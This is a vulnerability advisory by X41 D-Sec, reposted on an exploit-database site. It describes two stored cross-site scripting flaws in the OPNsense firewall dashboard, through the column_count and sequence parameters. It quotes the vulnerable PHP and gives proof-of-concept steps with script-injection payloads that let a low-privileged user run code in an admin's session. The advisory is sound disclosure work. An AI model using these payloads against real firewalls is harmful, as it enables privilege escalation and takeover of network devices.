[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

OPNsense 23.1.11_1 / 23.7.3 / 23.7.4 Cross Site Scripting / Privilege Escalation Vulnerabilities

Author
Yasar Klawohn
Risk
[
Security Risk High
]
0day-ID
0day-ID-39080
Category
web applications
Date add
26-09-2023
Platform
php
OPNsense 23.1.11_1 / 23.7.3 / 23.7.4 Cross Site Scripting / Privilege Escalation
===========================================================
Highest Severity Rating: High
Confirmed Affected Versions: 23.1.11_1, 23.7.3, 23.7.4
Confirmed Patched Versions: Commit 484753b2abe3fd0fcdb73d8bf00c3fc3709eb8b7
Vendor: Deciso B.V. / OPNsense
Vendor URL: https://opnsense.org
Credit: X41 D-Sec GmbH, Yasar Klawohn and JM
Status: Public 
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2023-001-opnsense


Summary and Impact
------------------
The OPNsense dashboard displays widgets with information about the system,
running services, gateways and more. These widgets can be arranged in
different orders and columns. The values for the number of columns and the
order of widgets are stored server-side and are the same for all users of an
OPNsense instance. They are reflected unmodified on every visit. This can be
abused by a low-privileged attacker to inject their own content into the
page, enabling a cross-site scripting (XSS) attack that can result in
privilege escalation.


Product Description
-------------------
OPNsense is an open source, FreeBSD-based firewall and routing operating
system. It includes many features of commercial firewalls and can be managed
entirely via its web GUI.


Stored XSS in the OPNsense Dashboard via the column_count Parameter
===================================================================
Severity Rating: High
Vector: Network
CWE: 79
CVSS Score: 8.0
CVSS Vector: 3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Credit: X41 D-Sec GmbH, Yasar Klawohn


Analysis
--------
The number of columns displayed in the dashboard is set via an HTTP POST
request to /index.php, using the column_count request parameter. This
parameter is not properly escaped when returned to the client. To exploit
this issue, the payload "><script>alert(1)</script> is submitted as part of
the column_count parameter. This input is reflected unmodified in the
response and on any subsequent visit to the dashboard by any user. Only the
"Lobby: Login / Logout / Dashboard" permission is required to abuse this
issue.

Once the server receives the POST request, the column_count parameter is
written unmodified into the configuration:

} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['origin'])
            && $_POST['origin'] == 'dashboard') {
    // ...
    if (!empty($_POST['column_count'])) {
        $config['widgets']['column_count'] = $_POST['column_count'];
    } elseif(isset($config['widgets']['column_count'])) {
        unset($config['widgets']['column_count']);
    }
    write_config('Widget configuration has been changed');
    header(url_safe('Location: /index.php'));
    exit;
}
// from:
// https://github.com/opnsense/core/blob/2306449329e462364c07317b23a1f257779a4fc8/src/www/index.php#L66-L79

If the column_count parameter is not empty, it is used unmodified: 

// ...
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $pconfig = $config['widgets'];
    // ...
    $pconfig['column_count'] =
       !empty($pconfig['column_count']) ? $pconfig['column_count'] : 2;
    // ...
// from:
// https://github.com/opnsense/core/blob/306449329e462364c07317b23a1f257779a4fc8/src/www/index.php#L42

Below, the unmodified value is written:

<!-- ... -->
<section class="page-content-main">
  <form method="post" id="iform">
    <input type="hidden" value="dashboard" name="origin" id="origin" />
    <input type="hidden" value="" name="sequence" id="sequence" />
    <input type="hidden" value="<?= $pconfig['column_count'];?>"
        name="column_count" id="column_count_input" />
  </form>
<!-- ... -->
<!-- from:
https://github.com/opnsense/core/blob/306449329e462364c07317b23a1f257779a4fc8/src/www/index.php#L332
-->

Proof of Concept
----------------
Log in as root. On the left side, go to System -> Access -> Users, and add a
new user. For "Effective Privileges", only select "Lobby: Login / Logout /
Dashboard". The user is now only able to view the dashboard and the help
pages.

Log in as that newly created user and open your browser's network monitor.
In the OPNsense dashboard, select "1 column" from the top right and then
press "save settings". Repeat the POST request and replace the column_count
variable with

column_count=1"><script>alert(1)</script>

Now, log in as admin again, you should see an alert box resulting from the
following HTML response:

<form method="post" id="iform">
    <!-- .. -->
    <input type="hidden" value="1">
        <script>alert(1)</script>"
        name="column_count" id="column_count_input" />
</form>

This is the stored XSS and can result in privilege escalation. The OPNsense
developers did apply a Content-Security-Policy, but unfortunately allow
unsafe-inline and unsafe-eval for scripts, which does not prevent the
exploitation of this vulnerability.


Stored XSS in the OPNsense Dashboard via the sequence Parameter
===============================================================
Severity Rating: High 
Vector: Network
CWE: 79
CVSS Score: 8.0
CVSS Vector: 3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Credit: X41 D-Sec GmbH, JM and Yasar Klawohn


Analysis
--------
The order in which the widgets are displayed in the Dashboard is set via an
HTTP POST request to /index.php, using the sequence request parameter. This
parameter is not properly escaped when returned to the client. To exploit
this issue, the payload "><script>alert(1)</script> is submitted as part of
the sequence parameter. This input is reflected unmodified in the response
and on any subsequent visit to the dashboard by any user. Only the "Lobby:
Login / Logout / Dashboard" permission is required to abuse this issue.

The order in which widgets are displayed on the dashboard can be set in the
same POST request, via the sequence parameter. The sequence parameter has the
following format:

sequence=services_status-container:00000000-col3:show,
    interface_list-container:00000001-col4:show,
    gateways-container:00000002-col4:show

Once the server receives the POST request, the sequence parameter is written
unmodified into the configuration:

} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['origin'])
            && $_POST['origin'] == 'dashboard') {
    if (!empty($_POST['sequence'])) {
        $config['widgets']['sequence'] = $_POST['sequence'];
    } elseif (isset($config['widgets']['sequence'])) {
        unset($config['widgets']['sequence']);
    }
    // ...
    write_config('Widget configuration has been changed');
    header(url_safe('Location: /index.php'));
    exit;
}
// from:
// https://github.com/opnsense/core/blob/cbaf7cee1f0a6fabd1ec4c752a5d169c402976dc/src/www/index.php#L66-L80

When serving a GET request, the sequence parameter is returned unmodified,
starting with a read of its value from the configuration:

// ...
$pconfig = $config['widgets'];
// set default dashboard view
$pconfig['sequence'] = !empty($pconfig['sequence']) ?
    $pconfig['sequence'] : '';
// ...
// from:
// https://github.com/opnsense/core/blob/2306449329e462364c07317b23a1f257779a4fc8/src/www/index.php#L39-L41

sequence is then split by comma and further split by colon into name,
sortKey, and state. The list of widgets is sorted on the server side using
the sortKey.

$widgetSeqParts = explode(",", $pconfig['sequence']);
foreach (glob('/usr/local/www/widgets/widgets/*.widget.php') as $php_file) {
    $widgetItem = array();
    // [...]
    foreach ($widgetSeqParts as $seqPart) {
        $tmp = explode(':', $seqPart);
        if (count($tmp) == 3 &&
            explode('-', $tmp[0])[0] == $widgetItem['name']
        ) {
            $widgetItem['state'] = $tmp[2];
            $widgetItem['sortKey'] = $tmp[1];
        }
    }
    $widgetCollection[] = $widgetItem;
}
// sort widgets
usort($widgetCollection, function ($item1, $item2) {
    return strcmp(strtolower($item1['sortKey']),
        strtolower($item2['sortKey']));
});
// from:
// https://github.com/opnsense/core/blob/2306449329e462364c07317b23a1f257779a4fc8/src/www/index.php#L44-L65

Finally, the sortKey is written unescaped into an HTML attribute:

<section
    class="widgetdiv"
    data-sortkey="<?=$widgetItem['sortKey'] ?>"
    id="<?=$widgetItem['name'];?>"
    style="display:<?=$divdisplay;?>;"
<!-- from:
https://github.com/opnsense/core/blob/2306449329e462364c07317b23a1f257779a4fc8/src/www/index.php#L374
-->


Proof of Concept
----------------
Log in as root. On the left side, go to System -> Access -> Users, and add a
new user. For "Effective Privileges", only select "Lobby: Login / Logout /
Dashboard". The user is now only able to view the dashboard and the help
pages.

Log in as that newly created user and open your browser's network monitor. In
the OPNsense dashboard, reorder the widgets via drag-and-drop, then press
"save settings".

Repeat the POST request and replace the sequence variable with

sequence=gateways-container:1"><script>alert(1)</script>-col4:show

Now, log in as admin again, you should see an alert box resulting from the
following HTML response:

<div class="container-fluid">
    <!-- ... -->
        <section class="widgetdiv" data-sortkey="1">
            <script>alert(2)</script>
            -col4" id="gateways"  style="display:block;">

This is the stored XSS and can result in privilege escalation.

The OPNsense developers did apply a Content-Security-Policy, but
unfortunately allow unsafe-inline and unsafe-eval for scripts, which does not
prevent the exploitation of this vulnerability.

#  0day.today [2024-11-16]  #